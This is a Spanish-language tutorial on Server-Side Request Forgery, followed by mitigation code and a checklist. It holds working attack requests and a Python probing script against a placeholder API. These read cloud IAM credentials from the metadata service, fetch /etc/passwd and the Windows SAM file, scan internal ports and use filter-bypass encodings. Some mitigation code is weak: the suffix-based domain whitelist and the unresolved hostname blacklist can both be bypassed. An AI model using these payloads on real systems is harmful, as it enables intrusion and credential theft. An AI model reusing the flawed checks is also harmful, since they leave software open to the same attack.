Server-Side Request Forgery (SSRF)
CWE: CWE-918 - Server-Side Request Forgery
Problema: API hace requests a URLs controladas por atacante
¿Qué es SSRF?
La API acepta una URL del usuario y realiza una solicitud HTTP a esa URL. El atacante puede:
- Acceder a sistemas internos (localhost, intranet)
- Escanear puertos internos
- Interactuar con servicios internos
- Obtener archivos internos (file://)
- Exfiltrar datos
Vectores de Ataque
1. URL Injection Directa
bash
# Endpoint valida URL
POST /api/proxy
{"url": "https://external-api.com/data"}
# Atacante prueba localhost
curl -X POST "https://api.app.com/api/proxy" \
-d '{"url": "http://localhost:8080/admin"}'
# Respuesta contiene datos internos2. Acceso a Metadata en Cloud
bash
# AWS EC2 Metadata
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# Respuesta:
# iam/
# latest/
# ami-id/
# Obtener IAM credentials
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"}'
# Resultado: AccessKeyId, SecretAccessKey, Token3. Acceso a Archivos Locales
bash
# file:// protocol
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "file:///etc/passwd"}'
# Respuesta: Contenido de /etc/passwd
# Windows
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "file:///C:/Windows/System32/config/SAM"}'4. Escaneo de Puertos Internos
bash
# Verificar qué puertos están abiertos
for port in 22 23 80 443 8080 3306 5432 6379 9200; do
curl -X POST "https://api.app.com/api/fetch" \
-d "{\"url\": \"http://localhost:$port\"}" \
-w "Port $port: %{http_code}\n"
done
# Puertos con 200/301/302 = Abiertos5. Interacción con Servicios Internos
bash
# MySQL
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://db-server:3306"}'
# Redis
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://redis-cache:6379"}'
# Elasticsearch
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://elasticsearch:9200"}'Explotación
python
import requests
import urllib.parse
def ssrf_exploit(api_url, api_token):
"""
Explotar SSRF
"""
# URLs a probar
targets = [
"http://localhost:8080/admin",
"http://127.0.0.1:3306",
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"file:///etc/passwd",
"file:///etc/hosts",
"http://admin:password@internal-db:5432/database",
]
headers = {"Authorization": f"Bearer {api_token}"}
for target in targets:
try:
response = requests.post(
f"{api_url}/api/fetch",
json={"url": target},
headers=headers,
timeout=5
)
if response.status_code == 200 and len(response.text) > 0:
print(f"[✓] SSRF VULNERABLE: {target}")
print(f" Response: {response.text[:500]}")
else:
print(f"[-] {target}: {response.status_code}")
except Exception as e:
print(f"[!] {target}: {str(e)}")
# Ejecutar
ssrf_exploit("https://api.app.com", "token")Bypass de Filtros
bash
# Blacklist bypasses
localhost → 127.0.0.1
localhost → 0
localhost → 2130706433 (decimal)
localhost → 0x7f000001 (hex)
example.com → example.com@localhost
example.com → localhost#example.com
example.com → localhost.example.com
# Caso real:
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://127.0.0.1:8080/admin"}'
# Si "127.0.0.1" está bloqueado:
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://0:8080/admin"}'
# Si "localhost" está bloqueado:
curl -X POST "https://api.app.com/api/fetch" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/"}'Mitigación
1. Whitelist de URLs
python
from urllib.parse import urlparse
import re
ALLOWED_DOMAINS = [
'api.trustedpartner.com',
'data.external-service.com'
]
@app.route('/api/fetch', methods=['POST'])
def fetch_url():
url = request.json.get('url')
# Validar URL
try:
parsed = urlparse(url)
except:
return {"error": "Invalid URL"}, 400
# Whitelist de dominios
allowed = False
for domain in ALLOWED_DOMAINS:
if parsed.netloc.endswith(domain):
allowed = True
break
if not allowed:
return {"error": "Domain not allowed"}, 403
# Si pasa validación
response = requests.get(url, timeout=5)
return {"data": response.text}2. Blacklist de IPs/URLs Peligrosas
python
import ipaddress
BLOCKED_IPS = [
'127.0.0.1',
'0.0.0.0',
'169.254.169.254', # AWS metadata
]
BLOCKED_PROTOCOLS = ['file', 'gopher', 'ftp', 'data']
def is_safe_url(url):
"""
Verificar si URL es segura
"""
parsed = urlparse(url)
# Protocolo
if parsed.scheme in BLOCKED_PROTOCOLS:
return False
# Host
try:
ip = ipaddress.ip_address(parsed.hostname or '')
if ip.is_private or ip.is_loopback:
return False
except:
pass
# Palabras clave peligrosas
if any(x in url.lower() for x in ['metadata', 'admin', 'internal']):
return False
return True3. Timeout y Límite de Datos
python
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# Configurar timeout
session = requests.Session()
session.timeout = 5 # 5 segundos máximo
# Límite de tamaño de respuesta
MAX_RESPONSE_SIZE = 1024 * 1024 # 1MB
def fetch_safe_url(url):
try:
response = session.get(url, stream=True, timeout=5)
# Verificar tamaño
if int(response.headers.get('content-length', 0)) > MAX_RESPONSE_SIZE:
return {"error": "Response too large"}, 413
# Leer en chunks
data = b''
for chunk in response.iter_content(chunk_size=1024):
data += chunk
if len(data) > MAX_RESPONSE_SIZE:
return {"error": "Response too large"}, 413
return {"data": data.decode('utf-8')}
except requests.Timeout:
return {"error": "Request timeout"}, 408
except Exception as e:
return {"error": str(e)}, 4004. Usar Proxy/WAF
Usar servicios como:
- AWS WAF (bloquea IPs privadas)
- Cloudflare (filtra SSRF)
- Nginx reverse proxy (con validaciones)Checklist
- [ ] No aceptar URLs del usuario directamente
- [ ] Whitelist de dominios permitidos
- [ ] Blacklist de IPs privadas (127.0.0.1, 10.x, 192.168.x, etc)
- [ ] Bloquear protocolos peligrosos (file://, gopher://)
- [ ] Timeout en requests (máx 5 segundos)
- [ ] Límite de tamaño de respuesta (máx 1-10MB)
- [ ] DNS rebinding protection
- [ ] Logging de requests salientes
- [ ] WAF configurado